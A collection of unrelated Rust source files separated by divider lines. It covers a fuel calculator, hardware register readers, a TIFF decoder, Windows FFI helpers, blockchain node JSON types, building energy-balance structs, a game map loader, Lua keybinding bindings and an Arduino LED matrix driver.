let ship_components = &args[1];
let modules = modules_from_file(ship_components);
for module in modules {
println!("[+] Parsing modules...");
println!("[+] 1. Partial quantity of fuel needed : {}", fuel_partial_requirements(&module));
println!("[+] 2. Total quantity of fuel needed : {}", fuel_final_requirements(&module));
}
} |
#[doc = "Reader of register ACRIS"]
pub type R = crate::R<u32, super::ACRIS>;
#[doc = "Reader of field `IN0`"]
pub type IN0_R = crate::R<bool, bool>;
#[doc = "Reader of field `IN1`"]
pub type IN1_R = crate::R<bool, bool>;
#[doc = "Reader of field `IN2`"]
pub type IN2_R = crate::R<bool, bool>;
impl R {
#[doc = "Bit 0 - Comparator 0 Interrupt Status"]
#[inline(always)]
pub fn in0(&self) -> IN0_R {
IN0_R::new((self.bits & 0x01) != 0)
}
#[doc = "Bit 1 - Comparator 1 Interrupt Status"]
#[inline(always)]
pub fn in1(&self) -> IN1_R {
IN1_R::new(((self.bits >> 1) & 0x01) != 0)
}
#[doc = "Bit 2 - Comparator 2 Interrupt Status"]
#[inline(always)]
pub fn in2(&self) -> IN2_R {
IN2_R::new(((self.bits >> 2) & 0x01) != 0)
}
}
|
use std::path::Path;
use std::io;
pub struct Buffer {
content: Vec<String>,
terminator: &'static str,
}
pub const UNIX_TERMINATOR: &'static str = "\n";
pub const DOS_TERMINATOR: &'static str = "\r\n";
#[cfg(windows)]
pub const DEFAULT_TERMINATOR: &'static str = DOS_TERMINATOR;
#[cfg(not(windows))]
pub const DEFAULT_TERMINATOR: &'static str = UNIX_TERMINATOR;
impl Default for Buffer {
fn default() -> Buffer {
Buffer { content: Vec::new(), terminator: DEFAULT_TERMINATOR }
}
}
impl Buffer {
pub fn from_file_with_terminator(path: &Path, terminator: &'static str) -> Result<Buffer, io::Error> {
use std::fs::File;
use std::io::{BufReader, BufRead};
use std::str;
let file = File::open(path)?;
let mut reader = BufReader::new(file);
let mut vector = Vec::new();
let mut line = Vec::<u8>::new();
let last_char = *terminator.as_bytes().last().unwrap();
loop {
reader.read_until(last_char, &mut line)?;
if line.ends_with(terminator.as_bytes()) {
vector.push(str::from_utf8(&line[..line.len() - terminator.len()]).unwrap().to_owned());
line = Vec::<u8>::new();
} else if !line.ends_with(&[last_char]) {
vector.push(String::from_utf8(line).unwrap());
break;
}
}
if vector.len() > 0 && vector.last().unwrap().is_empty() {
vector.pop();
}
Ok(Buffer { content: vector, terminator: terminator })
}
pub fn from_file(path: &Path) -> Result<Buffer, io::Error> {
Self::from_file_with_terminator(path, DEFAULT_TERMINATOR)
}
pub fn len(&self) -> usize {
self.content.len()
}
pub fn at<'a>(&'a self, item: usize) -> &'a str {
&self.content[item]
}
pub fn at_mut<'a>(&'a mut self, item: usize) -> &'a mut String {
&mut self.content[item]
}
pub fn save(&self, path: &Path) -> Result<(), io::Error> {
use std::fs::File;
use std::io::Write;
let mut file = File::create(path)?;
for line in &self.content {
file.write_all(line.as_bytes())?;
file.write_all(self.terminator.as_bytes())?;
}
Ok(())
}
}
|
//! Decoding and Encoding of TIFF Images
//!
//! TIFF (Tagged Image File Format) is a versatile image format that supports
//! lossless and lossy compression.
//!
//! # Related Links
//! * <http://partners.adobe.com/public/developer/tiff/index.html> - The TIFF specification
extern crate tiff;
use color::ColorType;
use image::{DecodingResult, ImageDecoder, ImageResult, ImageError};
use std::io::{Read, Seek};
/// Decoder for TIFF images.
pub struct TIFFDecoder<R>
where R: Read + Seek
{
inner: tiff::decoder::Decoder<R>
}
impl<R> TIFFDecoder<R>
where R: Read + Seek
{
/// Create a new TIFFDecoder.
pub fn new(r: R) -> Result<TIFFDecoder<R>, ImageError> {
Ok(TIFFDecoder { inner: tiff::decoder::Decoder::new(r)? })
}
}
impl From<tiff::TiffError> for ImageError {
fn from(err: tiff::TiffError) -> ImageError {
match err {
tiff::TiffError::IoError(err) => ImageError::Io,
tiff::TiffError::FormatError(desc) => ImageError::FormatError(desc.to_string()),
tiff::TiffError::UnsupportedError(desc) => ImageError::GuessFormatError,
}
}
}
impl From<tiff::ColorType> for ColorType {
fn from(ct: tiff::ColorType) -> ColorType {
match ct {
tiff::ColorType::Gray(depth) => ColorType::Gray(depth),
tiff::ColorType::RGB(depth) => ColorType::RGB(depth),
tiff::ColorType::Palette(depth) => ColorType::Palette(depth),
tiff::ColorType::GrayA(depth) => ColorType::GrayA(depth),
tiff::ColorType::RGBA(depth) => ColorType::RGBA(depth),
tiff::ColorType::CMYK(_) => unimplemented!()
}
}
}
impl From<tiff::decoder::DecodingResult> for DecodingResult {
fn from(res: tiff::decoder::DecodingResult) -> DecodingResult {
match res {
tiff::decoder::DecodingResult::U8(data) => DecodingResult::U8(data),
tiff::decoder::DecodingResult::U16(data) => DecodingResult::U16(data),
}
}
}
impl<R: Read + Seek> ImageDecoder for TIFFDecoder<R> {
fn dimensions(&mut self) -> ImageResult<(u32, u32)> {
self.inner.dimensions().map_err(|e| e.into())
}
fn colortype(&mut self) -> ImageResult<ColorType> {
Ok(self.inner.colortype()?.into())
}
fn row_len(&mut self) -> ImageResult<usize> {
unimplemented!()
}
fn read_scanline(&mut self, _: &mut [u8]) -> ImageResult<u32> {
unimplemented!()
}
fn read_image(&mut self) -> ImageResult<DecodingResult> {
self.inner.read_image().map_err(|e| e.into()).map(|res| res.into())
}
}
|
pub mod alu;
pub mod arithmetic;
pub mod cpu;
pub mod dff;
pub mod keyboard;
pub mod logic;
pub mod pc;
pub mod ram;
pub mod register;
pub mod rom;
pub mod screen;
|
use std::ptr;
use winapi::shared::windef::HWND;
use winapi::shared::minwindef::DWORD;
use crate::ControlHandle;
use std::ffi::OsString;
pub const CUSTOM_ID_BEGIN: u32 = 10000;
pub fn check_hwnd(handle: &ControlHandle, not_bound: &str, bad_handle: &str) -> HWND {
use winapi::um::winuser::IsWindow;
if handle.blank() { panic!("{}", not_bound); }
match handle.hwnd() {
Some(hwnd) => match unsafe { IsWindow(hwnd) } {
0 => { panic!("The window handle is no longer valid. This usually means the control was freed by the OS"); },
_ => hwnd
},
None => { panic!("{}", bad_handle); }
}
}
pub fn to_utf16<'a>(s: &'a str) -> Vec<u16> {
use std::ffi::OsStr;
use std::os::windows::ffi::OsStrExt;
OsStr::new(s)
.encode_wide()
.chain(Some(0u16).into_iter())
.collect()
}
/**
Decode a raw utf16 string. Should be null terminated.
*/
pub fn from_utf16(s: &[u16]) -> String {
use std::os::windows::ffi::OsStringExt;
let null_index = s.iter().position(|&i| i==0).unwrap_or(s.len());
let os_string = OsString::from_wide(&s[0..null_index]);
os_string.into_string().unwrap_or("Decoding error".to_string())
}
/**
Read a string from a wide char pointer. Undefined behaviour if [ptr] is not null terminated.
*/
#[cfg(feature = "winnls")]
pub unsafe fn from_wide_ptr(ptr: *mut u16, length: Option<usize>) -> String {
use std::slice::from_raw_parts;
let length = match length {
Some(v) => v,
None => {
let mut length: isize = 0;
while *&*ptr.offset(length) != 0 {
length += 1;
}
length as usize
}
};
let array: &[u16] = from_raw_parts(ptr, length);
from_utf16(array)
}
#[cfg(any(feature = "file-dialog", feature = "winnls"))]
pub unsafe fn os_string_from_wide_ptr(ptr: *mut u16, length: Option<usize>) -> OsString {
use std::os::windows::ffi::OsStringExt;
use std::slice::from_raw_parts;
let length = match length {
Some(v) => v,
None => {
let mut length: isize = 0;
while *&*ptr.offset(length) != 0 {
length += 1;
}
length as usize
}
};
let array: &[u16] = from_raw_parts(ptr, length);
OsString::from_wide(array)
}
/**
Return a formatted output of the last system error that was raised.
(ERROR ID, Error message localized)
*/
#[allow(unused)]
pub unsafe fn get_system_error() -> (DWORD, String) {
use winapi::um::errhandlingapi::GetLastError;
use winapi::um::winbase::{FormatMessageW, FORMAT_MESSAGE_FROM_SYSTEM};
use winapi::um::winnt::{MAKELANGID, LANG_NEUTRAL, SUBLANG_DEFAULT};
use std::ffi::OsString;
use std::os::windows::ffi::OsStringExt;
let code = GetLastError();
let lang = MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT) as DWORD;
let mut buf: Vec<u16> = Vec::with_capacity(1024);
buf.set_len(1024);
FormatMessageW(FORMAT_MESSAGE_FROM_SYSTEM, ptr::null(), code, lang, buf.as_mut_ptr(), 1024, ptr::null_mut());
let end = buf.iter().position(|&i| i==0).unwrap_or(1024);
let error_message = OsString::from_wide(&buf[..end])
.into_string()
.unwrap_or("Error while decoding system error message".to_string());
(code, error_message)
}
|
//! The json deserializable types
use super::{types::TransactionSimulation, CallFailure, SubprocessError};
use crate::v02::types::reply::FeeEstimate;
use pathfinder_common::CallResultValue;
/// The python loop currently responds with these four possibilities. An enum would be more
/// appropriate.
///
/// This is [`ChildResponse::refine`]'d into [`RefinedChildResponse`]
#[derive(serde::Deserialize, Debug)]
pub(crate) struct ChildResponse<'a> {
/// Describes the outcome with three alternatives (good, known error, unknown error)
status: Status,
/// Head of the raw exception message limited to 197 first characters and an three dots for
/// longer. Probably okay to give as a hint in the internal error message.
#[serde(borrow)]
exception: Option<std::borrow::Cow<'a, str>>,
/// Enumeration of "known errors", present when `status` is [`Status::Error`].
kind: Option<ErrorKind>,
/// The real output from the contract when `status` is [`Status::Ok`].
#[serde(default)]
output: Option<OutputValue>,
}
/// Deserializes either the call output value or the fee estimate.
#[derive(serde::Deserialize, Debug)]
#[serde(untagged)]
pub(crate) enum OutputValue {
Call(Vec<CallResultValue>),
Fees(Vec<FeeEstimate>),
Fee(FeeEstimate),
Traces(Vec<TransactionSimulation>),
}
impl<'a> ChildResponse<'a> {
pub(super) fn refine(mut self) -> Result<RefinedChildResponse<'a>, SubprocessError> {
match (&self.status, &mut self.kind, &mut self.exception) {
(Status::Ok, None, None) => Ok(RefinedChildResponse {
status: RefinedStatus::Ok(self.output.ok_or(SubprocessError::InvalidResponse)?),
}),
(Status::Error, x @ Some(_), None) => Ok(RefinedChildResponse {
status: RefinedStatus::Error(x.take().unwrap()),
}),
(Status::Failed, None, s @ &mut Some(_)) => Ok(RefinedChildResponse {
status: RefinedStatus::Failed(s.take().unwrap()),
}),
// these should not happen, so turn them into similar as serde_json errors
_ => Err(SubprocessError::InvalidResponse),
}
}
}
impl RefinedChildResponse<'_> {
pub(super) fn into_messages(self) -> (Status, Result<OutputValue, CallFailure>) {
match self {
RefinedChildResponse {
status: RefinedStatus::Ok(x),
} => (Status::Ok, Ok(x)),
RefinedChildResponse {
status: RefinedStatus::Error(e),
} => (Status::Error, Err(CallFailure::from(e))),
RefinedChildResponse {
status: RefinedStatus::Failed(s),
} => (
Status::Failed,
Err(CallFailure::ExecutionFailed(s.to_string())),
),
}
}
}
/// Different kinds of errors the python side recognizes.
#[derive(serde::Deserialize, Debug)]
pub enum ErrorKind {
#[serde(rename = "NO_SUCH_BLOCK")]
NoSuchBlock,
#[serde(rename = "NO_SUCH_CONTRACT")]
NoSuchContract,
#[serde(rename = "INVALID_SCHEMA_VERSION")]
InvalidSchemaVersion,
#[serde(rename = "INVALID_INPUT")]
InvalidCommand,
#[serde(rename = "INVALID_ENTRY_POINT")]
InvalidEntryPoint,
}
#[derive(serde::Deserialize, PartialEq, Eq, Debug)]
pub enum Status {
/// No errors
#[serde(rename = "ok")]
Ok,
/// Known error happened
#[serde(rename = "error")]
Error,
/// Any of the cairo-lang errors happened
#[serde(rename = "failed")]
Failed,
}
/// The format we'd prefer to process instead of [`ChildResponse`].
pub(super) struct RefinedChildResponse<'a> {
status: RefinedStatus<'a>,
}
/// More sensible alternative to [`Status`].
pub(super) enum RefinedStatus<'a> {
Ok(OutputValue),
Error(ErrorKind),
Failed(std::borrow::Cow<'a, str>),
}
#[cfg(test)]
mod tests {
use super::*;
// Regression: https://github.com/eqlabs/pathfinder/issues/1018
#[test]
fn test_parse_tx_traces() {
let json = include_str!("../../../fixtures/ext_py/tx_traces.json");
let output: OutputValue = serde_json::from_str(json).unwrap();
assert_matches::assert_matches!(output, OutputValue::Traces(_));
}
}
|
// Copyright (c) 2018-2022 Ministerio de Fomento
// Instituto de Ciencias de la Construcción Eduardo Torroja (IETcc-CSIC)
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
// SOFTWARE.
// Author(s): Rafael Villar Burke <pachi@ietcc.csic.es>,
// Daniel Jiménez González <dani@ietcc.csic.es>,
// Marta Sorribes Gil <msorribes@ietcc.csic.es>
/*!
Balance para un vector energético
=================================
*/
use std::collections::HashMap;
use serde::{Deserialize, Serialize};
use crate::types::{Carrier, ProdSource, RenNrenCo2, Service};
// Energy balance by carrier
// -------------------------
/// Resultados detallados del balance energético para un vector energético
///
/// Detailed results of the energy balance computation for a given carrier
#[allow(non_snake_case)]
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct BalanceCarrier {
/// Energy carrier
pub carrier: Carrier,
/// Load matching factor
pub f_match: Vec<f32>,
/// Used energy data and results
pub used: UsedEnergy,
/// Produced energy data and results
pub prod: ProducedEnergy,
/// Exported energy data and results
pub exp: ExportedEnergy,
/// Delivered energy data and results
pub del: DeliveredEnergy,
/// Weighted energy data and results
pub we: WeightedEnergy,
}
/// Used Energy Data and Results
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct UsedEnergy {
/// Energy used for EPB services at each timestep
pub epus_t: Vec<f32>,
/// Energy used for EPB services at each timestep, by service
pub epus_by_srv_t: HashMap<Service, Vec<f32>>,
/// Energy used for EPB services at each timestep
pub epus_an: f32,
/// Energy used for EPB services, by service
pub epus_by_srv_an: HashMap<Service, f32>,
/// Used energy for non EPB services at each timestep
pub nepus_t: Vec<f32>,
/// Energy used for non EPB services
pub nepus_an: f32,
/// Energy input allocated to electricity cogeneration at each timestep
pub cgnus_t: Vec<f32>,
/// Energy input allocated to electricity cogeneration
pub cgnus_an: f32,
}
/// Produced Energy Data and Results
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct ProducedEnergy {
/// Produced energy at each timestep
pub t: Vec<f32>,
/// Produced energy (from all sources)
pub an: f32,
/// Produced energy at each timestep by source
pub by_src_t: HashMap<ProdSource, Vec<f32>>,
/// Produced energy by source
pub by_src_an: HashMap<ProdSource, f32>,
/// Produced energy from all sources and used for EPB services at each timestep
pub epus_t: Vec<f32>,
/// Produced energy from all sources and used for EPB services
pub epus_an: f32,
/// Produced energy used for EPB services at each timestep by source
pub epus_by_src_t: HashMap<ProdSource, Vec<f32>>,
/// Produced energy used for EPB services by source
pub epus_by_src_an: HashMap<ProdSource, f32>,
/// Produced energy used for EPB services at each timestep by service, by source
pub epus_by_srv_by_src_t: HashMap<ProdSource, HashMap<Service, Vec<f32>>>,
/// Produced energy used for EPB services by service, by source
pub epus_by_srv_by_src_an: HashMap<ProdSource, HashMap<Service, f32>>,
}
/// Exported Energy Data and Results
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct ExportedEnergy {
/// Exported energy to the grid and non EPB services at each timestep
pub t: Vec<f32>, // exp_used_nEPus + exp_grid
/// Exported energy to the grid and non EPB services
pub an: f32,
/// Exported energy to the grid at each timestep
pub grid_t: Vec<f32>,
/// Exported energy to the grid
pub grid_an: f32,
/// Exported energy to non EPB services at each timestep
pub nepus_t: Vec<f32>,
/// Exported energy to non EPB services
pub nepus_an: f32,
/// Exported energy to the grid and non EPB services at each timestep, by source
pub by_src_t: HashMap<ProdSource, Vec<f32>>,
/// Exported energy to the grid and non EPB services, by source
pub by_src_an: HashMap<ProdSource, f32>,
}
/// Delivered Energy Data and Results
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct DeliveredEnergy {
/// Delivered energy from the grid or onsite sources (incl. cogen)
pub an: f32,
/// Delivered energy by the grid at each timestep
pub grid_t: Vec<f32>,
/// Delivered energy by the grid
pub grid_an: f32,
/// Delivered energy from onsite sources (excl. cogen) at each timestep
pub onst_t: Vec<f32>,
/// Delivered energy from onsite sources (excl. cogen)
pub onst_an: f32,
/// Delivered energy allocated to electricity cogeneration at each timestep
pub cgn_t: Vec<f32>,
/// Delivered energy allocated to electricity cogeneration
pub cgn_an: f32,
}
/// Weighted Energy Data and Results
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct WeightedEnergy {
/// Weighted energy for calculation step B
pub b: RenNrenCo2,
/// Weighted energy for calculation step B, by service (for EPB services)
pub b_by_srv: HashMap<Service, RenNrenCo2>,
/// Weighted energy for calculation step A
pub a: RenNrenCo2,
/// Weighted energy for calculation step A, by service (for EPB services)
pub a_by_srv: HashMap<Service, RenNrenCo2>,
/// Weighted delivered energy by the grid and any energy production sources
pub del: RenNrenCo2,
/// Weighted delivered energy by the grid
pub del_grid: RenNrenCo2,
/// Weighted delivered energy by any onsite energy production source (EL_INSITU, TERMOSOLAR, EAMBIENTE)
pub del_onst: RenNrenCo2,
/// Weighted delivered energy by cogenerated electricity (EL_COGEN)
pub del_cgn: RenNrenCo2,
/// Weighted exported energy for calculation step A+B
pub exp: RenNrenCo2,
/// Weighted exported energy for calculation step A (resources used)
pub exp_a: RenNrenCo2,
/// Weighted exported energy for non EPB services for calculation step A (resources used)
pub exp_nepus_a: RenNrenCo2,
/// Weighted exported energy to the grid and calculation step A (resources used)
pub exp_grid_a: RenNrenCo2,
/// Weighted exported energy for non EPB services and calculation step AB
pub exp_nepus_ab: RenNrenCo2,
/// Weighted exported energy to the grid and calculation step AB
pub exp_grid_ab: RenNrenCo2,
/// Weighted exported energy and calculation step AB
pub exp_ab: RenNrenCo2,
}
|
use super::field::Field;
pub trait Ec<F: Field> {
fn add(&self, p: Point<F>, q: Point<F>) -> Option<Point<F>>;
fn neg(&self, p: Point<F>) -> Option<Point<F>>;
fn mul(&self, n: isize, p: Point<F>) -> Option<Point<F>>;
}
#[derive(PartialEq, Clone, Eq, Debug)]
pub enum Point<F: Field> {
Identity,
Ordinary(F, F),
}
impl<F: Field> Point<F> {
pub fn new(x: F, y: F) -> Self {
Point::Ordinary(x, y)
}
}
|
extern crate image;
extern crate glob;
use glob::glob;
use serde::{Serialize, Deserialize};
use std::fs::File;
use std::io::Read;
use std::error::Error;
// Note all textures are 1-indexed since 0 is special
#[derive(Serialize, Debug)]
pub struct MapCell {
pub wall_tex: i32,
pub floor_tex: i32,
pub ceil_tex: i32,
}
#[derive(Serialize, Deserialize, Clone, Debug)]
pub struct EntityJSON {
pub name: String, // Name of entity template
pub x: f64,
pub y: f64,
#[serde(default)]
pub dir_x: f64,
#[serde(default)]
pub dir_y: f64,
#[serde(default)]
pub animation: String,
}
// JSON definition of map. Gets transformed into WorldMap by combining the 3 grids into 1 cell vector
#[derive(Serialize, Deserialize, Debug)]
struct WorldMapJSON {
pub height: u32,
pub width: u32,
wall_grid: Vec<Vec<i32>>,
floor_grid: Vec<Vec<i32>>,
ceil_grid: Vec<Vec<i32>>,
pub entities: Vec<EntityJSON>,
}
#[derive(Serialize, Debug)]
pub struct WorldMap {
pub height: u32,
pub width: u32,
grid: Vec<MapCell>,
pub entities: Vec<EntityJSON>,
}
impl WorldMap {
pub fn load_map(mapname: &str) -> Result<WorldMap, Box<dyn Error>> {
let path = format!("./data/maps/{}/{}.json", mapname, mapname);
let mut file = File::open(path)?;
let mut data = String::new();
file.read_to_string(&mut data)?;
let map_json: WorldMapJSON = serde_json::from_str(&data)?;
let mut map = WorldMap{
height: map_json.height,
width: map_json.width,
grid: vec![],
entities: map_json.entities,
};
for i in 0..map_json.height as usize {
for j in (0..map_json.width as usize).rev() {
map.grid.push(
MapCell {
wall_tex: map_json.wall_grid[i][j],
floor_tex: map_json.floor_grid[i][j],
ceil_tex: map_json.ceil_grid[i][j],
},
);
}
}
return Ok(map);
}
pub fn get_cell(&self, x: u32, y: u32) -> &MapCell {
return &self.grid[(y * self.width + x) as usize];
}
}
|
use failure::Error;
fn main() -> Result<(), Error> {
println!("Hello, world!");
let txs = errors::get_txs("test_data/transactions.json").expect("Could not load transactions");
for t in txs {
println!("{:?}", t);
}
match errors::get_first_tx("test_data/transactions.json", "Rave") {
Ok(v) => println!("{:?}", v),
Err(e) => println!("Error: {:?}, Backrtrace: {:?}", e, e.backtrace()),
}
Ok(())
}
|
/*
* Open Service Cloud API
*
* Open Service Cloud API to manage different backend cloud services.
*
* The version of the OpenAPI document: 0.0.3
* Contact: wanghui71leon@gmail.com
* Generated by: https://openapi-generator.tech
*/
#[derive(Debug, PartialEq, Serialize, Deserialize)]
pub struct BlockVolumeResourceFragmentAttachments {
#[serde(rename = "id", skip_serializing_if = "Option::is_none")]
pub id: Option<String>,
#[serde(rename = "server_id", skip_serializing_if = "Option::is_none")]
pub server_id: Option<String>,
#[serde(rename = "volume_id", skip_serializing_if = "Option::is_none")]
pub volume_id: Option<String>,
#[serde(rename = "attachment_id", skip_serializing_if = "Option::is_none")]
pub attachment_id: Option<String>,
#[serde(rename = "device", skip_serializing_if = "Option::is_none")]
pub device: Option<String>,
#[serde(rename = "host_name", skip_serializing_if = "Option::is_none")]
pub host_name: Option<String>,
}
impl BlockVolumeResourceFragmentAttachments {
pub fn new() -> BlockVolumeResourceFragmentAttachments {
BlockVolumeResourceFragmentAttachments {
id: None,
server_id: None,
volume_id: None,
attachment_id: None,
device: None,
host_name: None,
}
}
}
|
//! Rust code which is called from lua in the init file
#![deny(dead_code)]
use rustc_serialize::json::ToJson;
use uuid::Uuid;
use super::{send, LuaQuery, running};
use hlua::{self, Lua, LuaTable};
use hlua::any::AnyLuaValue;
use registry::{self};
use commands;
use keys::{self, KeyPress, KeyEvent};
use convert::json::{json_to_lua};
use super::thread::{update_registry_value};
type ValueResult = Result<AnyLuaValue, &'static str>;
/// We've `include!`d the code which initializes from the Lua side.
/// Register all the Rust functions for the lua libraries
pub fn register_libraries(lua: &mut Lua) {
trace!("Registering Rust libraries...");
{
let mut rust_table: LuaTable<_> = lua.empty_array("__rust");
rust_table.set("init_workspaces", hlua::function1(init_workspaces));
rust_table.set("register_lua_key", hlua::function3(register_lua_key));
rust_table.set("unregister_lua_key", hlua::function1(unregister_lua_key));
rust_table.set("register_command_key", hlua::function4(register_command_key));
rust_table.set("register_mouse_modifier", hlua::function1(register_mouse_modifier));
rust_table.set("keypress_index", hlua::function1(keypress_index));
rust_table.set("ipc_run", hlua::function1(ipc_run));
rust_table.set("ipc_get", hlua::function2(ipc_get));
rust_table.set("ipc_set", hlua::function1(ipc_set));
}
trace!("Executing Lua init...");
let init_code = include_str!("../../lib/lua/lua_init.lua");
let util_code = include_str!("../../lib/lua/utils.lua");
let _: () = lua.execute::<_>(util_code)
.expect("Unable to execute Lua util code!");
let _: () = lua.execute::<_>(init_code)
.expect("Unable to execute Lua init code!");
trace!("Lua register_libraries complete");
}
/// Run a command
fn ipc_run(command: String) -> Result<(), &'static str> {
commands::get(&command).map(|com| com())
.ok_or("Command does not exist")
}
/// IPC 'get' handler
fn ipc_get(category: String, key: String) -> ValueResult {
let lock = registry::clients_read();
let client = lock.client(Uuid::nil()).unwrap();
let handle = registry::ReadHandle::new(&client);
handle.read(category)
.map_err(|_| "Could not locate that category")
.and_then(|category| category.get(&key)
.ok_or("Could not locate that key in the category")
.and_then(|value| Ok(value.to_json()))
.and_then(|value| Ok(json_to_lua(value))))
}
/// ipc 'set' handler
fn ipc_set(category: String) -> Result<(), &'static str> {
update_registry_value(category);
if running() {
send(LuaQuery::UpdateRegistryFromCache)
.expect("Could not send message to Lua thread to update registry");
}
Ok(())
}
fn init_workspaces(_options: AnyLuaValue) -> Result<(), &'static str> {
warn!("Attempting to call `init_workspaces`, this is not implemented");
Ok(())
}
/// Registers a modifier to be used in conjunction with mouse commands
fn register_mouse_modifier(modifier: String) -> Result<(), String> {
let modifier = try!(keys::keymod_from_names(&[modifier.as_str()]));
keys::register_mouse_modifier(modifier);
Ok(())
}
/// Registers a command keybinding.
fn register_command_key(mods: String, command: String,
_repeat: bool, passthrough: bool)
-> Result<(), String> {
if let Ok(press) = keypress_from_string(&mods) {
commands::get(&command)
.ok_or(format!("Command {} for keybinding {} not found", command, press))
.map(|command| { keys::register(press, KeyEvent::Command(command), passthrough); })
}
else {
Err(format!("Invalid keypress {}, {}", mods, command))
}
}
/// Rust half of registering a Lua key: store the KeyPress in the keys table
/// and send Lua back the index for __key_map.
fn register_lua_key(mods: String, _repeat: bool, passthrough: bool)
-> Result<String, String> {
keypress_from_string(&mods)
.map(|press| {
keys::register(press.clone(), KeyEvent::Lua, passthrough);
press.get_lua_index_string()
}).map_err(|_| format!("Invalid keys '{}'", mods))
}
/// Rust half of unregistering a Lua key. This pops it from the key table, if
/// it exists.
///
/// If a key wasn't registered, a proper error string is raised.
fn unregister_lua_key(mods: String) -> Result<String, String> {
keypress_from_string(&mods).and_then(|press| {
if let Some(action) = keys::unregister(&press) {
trace!("Removed keybinding \"{}\" for {:?}", press, action);
Ok(press.get_lua_index_string())
} else {
let error_str = format!("Could not remove keybinding \"{}\": \
Not registered!",
press);
warn!("Could not remove keybinding \"{}\": Not registered!",
press);
Err(error_str)
}
}).map_err(|_| format!("Invalid keys '{}'", mods))
}
/// Parses a keypress from a string
fn keypress_from_string(mods: &str) -> Result<KeyPress, String> {
let parts: Vec<&str> = mods.split(',').collect();
if let Some((ref key, mods)) = parts.split_last() {
KeyPress::from_key_names(mods, &key)
}
else {
Err(format!("Invalid key '{}'", mods))
}
}
fn keypress_index(press: String) -> Result<String, String> {
keypress_from_string(&press).map(|key| key.get_lua_index_string())
}
|
use arduino_uno::prelude::*;
use arduino_uno::hal::port::{Pin, mode::Output};
use super::DotScreen;
/// The address of the register on the DotDisplay chip.
#[derive(Clone, Copy)]
#[repr(u8)]
enum RegisterAddress {
Column1 = 0x1,
Column2 = 0x2,
Column3 = 0x3,
Column4 = 0x4,
Column5 = 0x5,
Column6 = 0x6,
Column7 = 0x7,
Column8 = 0x8,
Decode = 0x9,
Intensity = 0xA,
ScanLimit = 0xB,
Shutdown = 0xC,
Test = 0xF,
}
/// The object the interfaces with the MAX7219 8x8 LED Dot Display peripheral.
pub struct DotDisplay {
// The chip select pin.
cs: Pin<Output>,
// The clock pin.
clk: Pin<Output>,
// The data input-output pin.
dio: Pin<Output>,
}
impl DotDisplay {
const COLUMNS: [RegisterAddress; 8] = [
RegisterAddress::Column1, RegisterAddress::Column2, RegisterAddress::Column3, RegisterAddress::Column4,
RegisterAddress::Column5, RegisterAddress::Column6, RegisterAddress::Column7, RegisterAddress::Column8,
];
/// Create a new DotDisplay object.
///
/// # Arguments
///
/// * `chip_select_pin` - The pin used to select this DotDisplay.
/// * `clock_pin` - The pin used as the clock for the SPI data transfers.
/// * `data_io_pin` - The pin used to transmit data.
pub fn new(
mut chip_select_pin: Pin<Output>,
mut clock_pin: Pin<Output>,
mut data_io_pin: Pin<Output>,
) -> Self {
// Initialize the pin digital outputs.
chip_select_pin.set_high().void_unwrap();
clock_pin.set_low().void_unwrap();
data_io_pin.set_low().void_unwrap();
Self { cs: chip_select_pin, clk: clock_pin, dio: data_io_pin }.init()
}
/// Initialize the dot display by initializing data within its registers.
///
/// This includes:
/// * Turning the display on.
/// * Turning test-mode off.
/// * Turning decode-mode off.
/// * Enabling all columns.
/// * Clearing the display.
fn init(mut self) -> Self {
// Turn display on.
self.shutdown(false);
// Turn test-mode off.
self.test(false);
// Turn decode mode off.
self.send_raw_data(RegisterAddress::Decode, 0);
// Enable all columns.
self.send_raw_data(RegisterAddress::ScanLimit, 7);
// Set the intensity of the LEDs to bright, but not full intensity.
self.set_intensity(12);
// Clear display.
self.clear();
return self
}
/// Send raw data to the dot display over the SPI protocol.
///
/// The serial data format uses 16 bits:
/// | D15 | D14 | D13 | D12 | D11 | D10 | D09 | D08 | D07 | D06 | D05 | D04 | D03 | D02 | D01 | D00 |
/// where
/// * D11-D08 describe the register address to write a command,
/// * D07-D00 is the command data,
/// * D15-D12 are "don't care" bits.
/// The data is expected in MSB order.
/// Due to the nature of how data is written to the device,
/// only 12 bits of data needs to be written for each serial message,
/// where D15-D12 are skipped over.
///
/// # Arguments
///
/// * `register` - A RegisterAddress object corresponding to the register
/// address on the device to write the command.
/// * `data` - The data of the command.
fn send_raw_data(&mut self, register: RegisterAddress, data: u8) {
let message = ((register as u16) << 8) | data as u16;
self.cs.set_low().void_unwrap();
(4..16).for_each(|shift| {
if (message & (1 << 15 - shift)) != 0 {
self.dio.set_high().void_unwrap()
} else {
self.dio.set_low().void_unwrap()
}
self.clk.set_high().void_unwrap();
self.clk.set_low().void_unwrap();
});
self.cs.set_high().void_unwrap();
self.dio.set_low().void_unwrap();
}
/// Print a DotScreen to the display
pub fn show(&mut self, screen: &DotScreen) {
for (&col, &data) in Self::COLUMNS.iter().zip(screen.columns.iter()) {
self.send_raw_data(col, data);
}
}
/// Turn off all the LED lights of the display.
pub fn clear(&mut self) {
Self::COLUMNS.iter().for_each(|&col| {
self.send_raw_data( col, 0b00000000);
});
}
/// Set the intensity of the LED lights.
///
/// # Arguments
///
/// * `level` - The level of intensity of the LED lights.
/// This varies from 0 (lowest) to 15 (highest).
/// Supplying a level outside this range is undefined.
